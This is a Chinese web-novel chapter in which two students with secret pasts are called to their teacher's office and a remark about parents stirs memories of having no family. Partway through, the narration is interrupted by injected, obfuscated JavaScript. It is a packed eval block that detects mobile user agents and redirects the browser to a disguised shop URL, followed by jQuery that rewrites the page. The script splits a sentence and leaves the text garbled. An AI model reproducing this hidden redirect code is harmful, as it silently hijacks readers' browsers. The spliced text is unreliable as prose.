周五早晨，谢燃走进教室的时候，发现自己的课桌上多了一张便签纸。不是纪砚的那种工整字迹，是班主任王老师的手写——“谢燃，纪砚，中午来办公室一趟。”
两个人。谢燃把便签纸递给纪砚，纪砚看了一眼，叠好放进口袋。
“王老师找我们俩？”谢燃压低声音。
“嗯。”
“什么事？”
“去了就知道。”
谢燃的尾巴在桌子底下晃了一下。不是紧张，是好奇。王老师单独找他正常——数学43分，翻墙被抓，抽烟罚站，这些事随便拎一件出来都够找他了。但王老师找纪砚——纪砚成绩全班第三，从来不违纪，上课认真听讲，作业按时完成，是那种老师恨不得拿来当榜样的学生。王老师找纪砚干什么？除非纪砚也干了什么坏事。但纪砚不会干坏事。纪砚连走路都走斑马线，过马路都要等绿灯，扔垃圾都要分类。
“你最近干什么了？”谢燃转头看纪砚。
“没干什么。”
“那王老师为什么找你？”
“可能是因为你。”
谢燃张了张嘴，发现自己无法反驳。因为纪砚说得对——王老师如果是叫纪砚去办公室说“谢燃又翻墙了你劝劝他”，那确实是因为他。
上午的课谢燃上得心不在焉。数学课他走了两次神，被纪砚用笔尾敲了三下桌面才拉回来。英语课他做了一套阅读理解，错了三道，比上周多错一道。物理课干脆趴在桌上，脸埋进胳膊，尾巴绷得笔直，一动不动。
“别想了。”纪砚低声提醒。
“我没想。”
“你的尾巴一动不动，就是在胡思乱想。”
谢燃低头瞥了眼桌下紧绷的尾巴，慌忙甩了甩，强行装作漫不经心，心思却依旧纷乱盘旋。
中午下课铃响起，两人一同走向办公室。走廊人潮拥挤，谢燃将狐尾高高竖起，避免被来往人群磕碰，纪砚步履平缓，安静跟在身后。
办公室门敞开着，不止王老师在，陈主任也端坐一旁，指尖捏着茶杯，金丝镜片泛着冷光。茶几上摆好两杯水，显然早已等候多时。
纪砚率先开口问好，音色清浅沉稳。两人依次落座，腰背挺直，姿态端正得像是在执行任务汇报。
“不用紧张。”王老师语气温和，“只是简单聊聊近况，学习和生活上，有没有难处。”
谢燃微微一怔，预想中的训斥并未到来。
纪砚如实作答，说起谢燃近期的补习进度，小测成绩确实稳步提升。
陈主任适时开口，语气褪去平日的凌厉，平缓询问他屡次翻墙的缘由。
“早上醒不来，怕迟到扣分。”谢燃老实回答。
“正门可以通行，为何非要翻墙？”
“不好意思在您面前迟到。”
办公室掠过一丝微妙的安静，王老师默默压下笑意。几番问答下来，没有严厉的斥责，只有温和的叮嘱与敲打。
直到王老师随口一句闲谈，轻轻击碎了表面的平和：“你们俩性子反差真大，谢燃该随母亲，纪砚该随父亲。”
空气骤然一凝。
无人察觉的缝隙里，暗流翻涌。
谢燃指尖微顿，心底骤然一空。父母、家庭、来路，这些于旁人寻常的词汇，于他而言，是一片空白的荒芜。他是被编号定义的实验体，是在绝境里挣扎长大的孤影，从来没有所谓的家人。
身侧的纪砚依旧沉静如常，只有放在膝头的指尖，极轻地蜷缩一瞬。
他们皆是从破碎废墟里被救赎的孩子，名字是新生的馈赠，过往是磨灭的废墟，没有血亲，无从依附。
谢燃很快收敛眼底的落寞，扬起惯常散漫的笑，用玩笑掩饰心底的缺口，轻巧揭过这个话题。
陈主任适时收尾
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537457|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，警告下不为例，再犯便加重处罚，又嘱咐纪砚多照看管束。
二人起身告辞，即将走出门口时，王老师温和的问询再度落下，问及同住的近况，问及远方的父母。
“工作很忙，常年在外。”谢燃轻声应答。
寻常的关怀，朴素的叮嘱，在满是伪装与任务的日常里，格外真切动人。
走出办公室，走廊归于安静。
“他什么都不知道。”谢燃低声开口，“不知道我们的身份，不知道我们的过往，只当我们是普通的少年。”
纪砚沉默相伴，在楼梯拐角，一只手轻轻落在他肩头，短暂停留，是无声的安抚与包容。
食堂里烟火喧闹，陆大寻早早占好座位，捧着最后一份红烧肉，叽叽喳喳追问谈话的内容，鲜活热烈的模样冲淡了心底的沉闷。
谢燃低头吃饭，笑意浅浅，却未抵达眼底。
王老师随口的一句话，在心底反复回响。他们没有可以依附的家人，没有安稳的来路，却拥有彼此，拥有身边细碎的温柔与暖意。
韩队的照看，同伴的并肩，陆妈妈的甜点，师长朴素的关心，这些细碎的温暖，都是暗夜里难得的光。
暮色将至，海风漫过城市，寻常的校园日常之下，暗流悄然涌动。
冥安的交易、织网者的阴谋、步步推进的收网计划，一切都在加速运转。
饭后并肩走出食堂，暖光落在两人身上，影子交叠缠绕，密不可分。
“不用多想。”纪砚的声音清淡又安稳。
谢燃抬眼看向身旁的少年，那双沉静的眼眸里，永远盛着独属于他的笃定与偏爱。
收网的倒计时已然开启。
还有慵懒的清晨、琐碎的日常、彼此的陪伴，在风暴来临之前，温柔存续。
谢燃揣进口袋，指尖触到那张薄薄的便签，脚步放缓，而后轻轻跟上。